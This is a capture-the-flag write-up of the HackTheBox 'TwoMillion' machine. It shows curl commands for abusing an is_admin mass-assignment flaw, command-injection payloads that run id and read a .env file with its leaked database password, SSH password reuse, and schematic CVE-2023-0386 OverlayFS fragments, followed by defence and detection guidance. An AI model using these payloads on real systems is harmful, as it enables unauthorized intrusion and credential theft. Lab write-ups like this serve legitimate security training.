TwoMillion: From the Invite Code to Root
Full HackTheBox TwoMillion chain: decoding the public invite flow, privilege escalation through an accepted is_admin field, command injection, credential reuse, and CVE-2023-0386.
TwoMillion: From the Invite Code to Root
This box simulates an older version of HackTheBox's platform. The visible surface is minimal: ports 22 and 80. The route begins with the invite flow, then an API update accepts the caller's is_admin field, followed by command injection, credential reuse, and a local OverlayFS privilege-escalation path. The observed kernel version is not, by itself, proof that the installed distro kernel is vulnerable; backported fixes must be checked.
Discovery: Only Two Doors Open
The ritual I like at the start of every pentest is the same: nmap an IP I know nothing about and watch the ports scroll by.
$ nmap -sC -sV -oN nmap_initial.txt 10.129.1.230
Nmap scan report for 10.129.1.230
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/Only two ports open. So the attack vector will be either from the web or over SSH. nginx redirects to http://2million.htb/, so I added it to the hosts file.
The /invite Puzzle: JS Reverse Engineering
The page source calls /js/inviteapi.min.js. This is the classic eval(function(p,a,c,k,e,d){...}) packer. In the browser console I replaced eval with console.log and unwrapped it. Two functions appeared:
function makeInviteCode() {
$.ajax({ type: "POST", url: "/api/v1/invite/how/to/generate", ... });
}
function verifyInviteCode(code) {
$.ajax({ type: "POST", url: "/api/v1/invite/verify", ... });
}The first function's endpoint tells me "how to generate the invite code":
$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
{"data": {"data": "Va beqre gb trarengr gur vaivgr pbqr, ...", "enctype": "ROT13"}}
$ echo "..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generate
$ curl -s -X POST http://2million.htb/api/v1/invite/generate
{"data": {"code": "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=", "format": "encoded"}}
$ echo "OEFESjUtTkZYOVItTFM0WjAtRUROSFc=" | base64 -d
8ADJ5-NFX9R-LS4Z0-EDNHW// note: Obfuscated JS is not a security layer, just a speed bump. Security through obscurity always loses early.
Creating an Account and Logging In
$ curl -i -s -X POST http://2million.htb/api/v1/user/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "code=8ADJ5-NFX9R-LS4Z0-EDNHW&username=hacker&email=hacker%40htb.local&password=Hacker123!&password_confirmation=Hacker123!"
$ curl -i -s -c cookies.txt -X POST http://2million.htb/api/v1/user/login \
-H "Content-Type: application/json" \
-d '{"email":"hacker@htb.local","password":"Hacker123!"}'
Set-Cookie: PHPSESSID=...; path=/; HttpOnlyAPI Discovery and Privilege Escalation: is_admin Mass Assignment
/api/v1 returns the route list. On the admin side, PUT /api/v1/admin/settings/update stands out. Let me try it:
$ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \
-H "Content-Type: application/json" -b cookies.txt \
-d '{"is_admin":1,"email":"hacker@htb.local"}'
{"id": 13, "username": "hacker", "is_admin": 1}Finding: the update accepted a caller-controlled is_admin property and changed the caller's privilege. That is a mass-assignment/property-level authorization failure (and may also indicate missing function-level authorization); it is not BOLA, because this request does not select another user's object.
The VPN Generator Runs a Raw Command
In POST /api/v1/admin/vpn/generate the username parameter goes straight to the shell:
$ curl -s -X POST .../api/v1/admin/vpn/generate -b cookies.txt \
-d '{"username":"hacker;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)Web root /var/www/html, kernel 5.15.70 noted.
The .env Mistake, SSH, and user.txt
$ curl -s ... -d '{"username":"hacker;cat /var/www/html/.env;"}'
DB_PASSWORD=SuperDuperPass123
MAIL_TO=ch4p@2million.htb
$ sshpass -p 'SuperDuperPass123' ssh admin@10.129.1.230 'id'
uid=1000(admin) gid=1000(admin) groups=1000(admin)Password reuse is always promising. user.txt is mine.
The Postman's Hint: a CVE Sleeping in the Mail
The message in /var/mail/admin points to OverlayFS/FUSE: CVE-2023-0386. The recorded 5.15.70 version is a clue, not a vulnerability verdict: distribution kernels may backport fixes without changing the upstream version string. Confirm the exact package build against the CVE record and the distro advisory.
What Kind of Vulnerability Is CVE-2023-0386?
CVE-2023-0386 is a local privilege-escalation flaw in OverlayFS's handling of file ownership when copying a capable file from a nosuid mount into another mount. FUSE can provide attacker-controlled metadata in a vulnerable setup, but the result depends on kernel behavior and namespace/mount prerequisites; it is not simply an unconditional copy of arbitrary metadata to disk.
FUSE metadata example (schematic, not a complete exploit)
The fragment below illustrates the metadata involved. It omits the FUSE program setup and is not compilable or sufficient to reproduce the CVE:
static int evil_getattr(const char* path, struct stat* stbuf, struct fuse_file_info* fi) {
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
} else if (strcmp(path, "/suid") == 0) {
stbuf->st_mode = S_IFREG | S_ISUID | 0755; // SUID bit
stbuf->st_uid = 0; // I claim the owner is root
}
return 0;
}OverlayFS flow (schematic, not a complete exploit)
The following pseudocode omits the required namespace creation, FUSE mount, setup checks, and kernel-specific conditions. It describes the idea only; it is not a working PoC.
// New user + mount namespace, lowerdir = FUSE mount
snprintf(opts, sizeof(opts), "lowerdir=%s,upperdir=%s,workdir=%s", FUSE_MNT, UPPER, WORK);
mount("overlay", MERGE, "overlay", 0, opts);
system("cp " MERGE "/suid /tmp/sh");
// /tmp/sh SUID-preserved -> euid=0
execl("/tmp/sh", "sh", "-p", "-c", "id; cat /root/root.txt", NULL);No exploit output is included here because the abbreviated snippets above do not constitute a runnable program.
Attack Chain at a Glance
nmap → invite flow → registration → API privilege escalation (is_admin) → command injection → www-data → .env → SSH password reuse → admin → mail-spool clue → CVE-2023-0386 → root.
Vulnerabilities Table
| # | Finding | Impact | Class |
|---|---|---|---|
| 1 | Mass assignment of is_admin | Caller privilege escalation | Property-level authorization / missing function authorization |
| 2 | Command injection in VPN generation | Code execution as www-data | Injection |
| 3 | .env exposed under the web root | Credential disclosure | Misconfiguration |
| 4 | Database password reused for SSH | User shell | Credential reuse |
| 5 | CVE-2023-0386 | Local privilege escalation | Kernel vulnerability |
Defence Summary
- For the
is_adminescalation: allowlist mutable fields server-side and enforce admin-only functions independently. Test that an ordinary account cannot change its own role. The linked IDOR test plan covers a separate case: access to another user's object. - For command injection: use JS/PHP native APIs and parameterized exec instead of shell commands; never paste a user-supplied field into a shell string. For VPN generation, write the OpenVPN config with a script and keep user input out of interpolation.
- .env and secrets: never put them under the web root; that's the server's config. Avoid password reuse, and continuously fetch env through secret management (HashiCorp Vault, AWS SSM).
- Kernel patching: regular kernel updates in an authorized maintenance window, especially for critical kernel bugs like CVE-2023-0386.
// END OF REPORT Tags: HTB / Mass Assignment / Command Injection / CVE-2023-0386 / OverlayFS / FUSE
Trust Boundary
visitor --> nginx --> PHP API --> admin setting --> VPN generator (shell)
|
v
.env --> SSH admin --> CVE-2023-0386 --> rootThe invite-flow puzzle is not itself an authorization flaw. The privilege boundary failed when the API accepted a caller-controlled role property; command injection, web-root exposure, credential reuse, and the kernel path were separate links.
Detection
- Role escalation: an authenticated ordinary account must not be able to set
is_admin; test both the response and persisted role. - Command injection: user input entering a shell string in VPN generation shows up in input logs with
;and&&. .envunder the web root: static file scanning or public repo scanning finds it.- Kernel status: map the installed distribution package revision to its advisory;
uname -ralone can miss backported fixes.
Limitations
- Obfuscated JS is not a security layer; ROT13 and base64 are always reversible.
- Test object-level authorization separately from property-level role changes; they are distinct failure classes.
- The published CVE describes a local flaw; exploitability depends on the kernel build and the required local namespace/mount capabilities.
- Any box carrying a
.envfile should be assessed for password-reuse risk.
Takeaways
- Obfuscation is not security.
- Enforce function-level and property-level authorization on administrative changes.
- User input should not enter the shell.
.envshould be kept outside the web root.- Kernel updates should not be postponed.
Invite Code Chain
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate
echo "..." | tr 'A-Za-z' 'N-ZA-Mn-za-m'
curl -s -X POST http://2million.htb/api/v1/invite/generate
echo "..." | base64 -dThe eval(function(p,a,c,k,e,d){...}) packer in the obfuscated JS is unwrapped in the console with console.log instead of eval. On the defensive side, looking at the same file reveals the endpoint list; the claim of built-in secrecy collapses.
Property-Level Authorization: is_admin
The PUT /api/v1/admin/settings/update request accepted is_admin from a normal account. The server should derive privilege from trusted authorization state, not from a profile field supplied by the caller:
$allowed = ['email', 'name'];
$update = array_intersect_key($input, array_flip($allowed));For this route, regression-test that an ordinary authenticated user cannot submit is_admin and that the persisted role stays unchanged. For endpoints that do select object IDs, separately test cross-account access; that is the BOLA case.
Command Injection
The username value reached a shell command. Prefer a library or structured configuration writer, then invoke only a fixed executable with a fixed argument vector. Validate the username against the application's expected format and keep it out of shell syntax. execFile avoids shell parsing, but it does not make arbitrary arguments safe or validate the target program's options.
.env and Password Reuse
If /var/www/html/.env is under the web root, a single GET downloads it. Defence: move the .env file outside the document root, deny .env access at the web server, and don't keep the DB password the same as SSH.
CVE-2023-0386 Summary
The CVE concerns incorrect ownership handling during OverlayFS copy-up from a nosuid mount, under specific local setup conditions. The primary mitigation is a fixed vendor kernel package; limiting unprivileged user/mount namespaces can reduce exposure where compatible, but does not replace patching. See the NVD record.
Verification Notes
In an authorized test environment, verify that a normal account cannot persist an is_admin change, that VPN input is handled as data rather than shell syntax, and that .env is not served from the document root. For CVE-2023-0386, check the distribution's kernel package revision and security advisory rather than treating uname -r as conclusive.
Chain Tree
nmap (22, 80)
|
v
/invite --> inviteapi.min.js --> ROT13 --> base64 --> invite code
|
v
register/login --> /api/v1 --> unauthorized `is_admin` property update
|
v
vpn/generate --> command injection --> www-data
|
v
.env --> admin SSH --> mail spool --> CVE-2023-0386 --> rootEach branch needs its own control: reject unauthorized privilege-field changes, avoid shell construction from user input, keep secrets outside the document root, and install a fixed kernel package. Object-level authorization tests are a separate control where endpoints accept object identifiers.
API Discovery Note
The /api/v1 route list alone is not an information leak. The issue here was that an update accepted a sensitive role property from an ordinary caller. Test the authorization policy for each operation and field; hiding a route does not enforce either.
Kernel Version Check
uname -r
cat /etc/os-releaseMatch the installed distribution kernel package and release revision to its security advisory. The upstream version string 5.15.70 alone cannot establish vulnerability status because distributions may backport fixes.
Related Research & Internal References
- API Access Control Test Plan - supplementary object-level authorization testing; it is distinct from the role-property issue above.
- Shadow API Asset Inventory - finding admin endpoints like
/api/v1/admin/settings/update. - Security Finding Scoring - scoring a six-link chain.
What do you think?
React to show your appreciation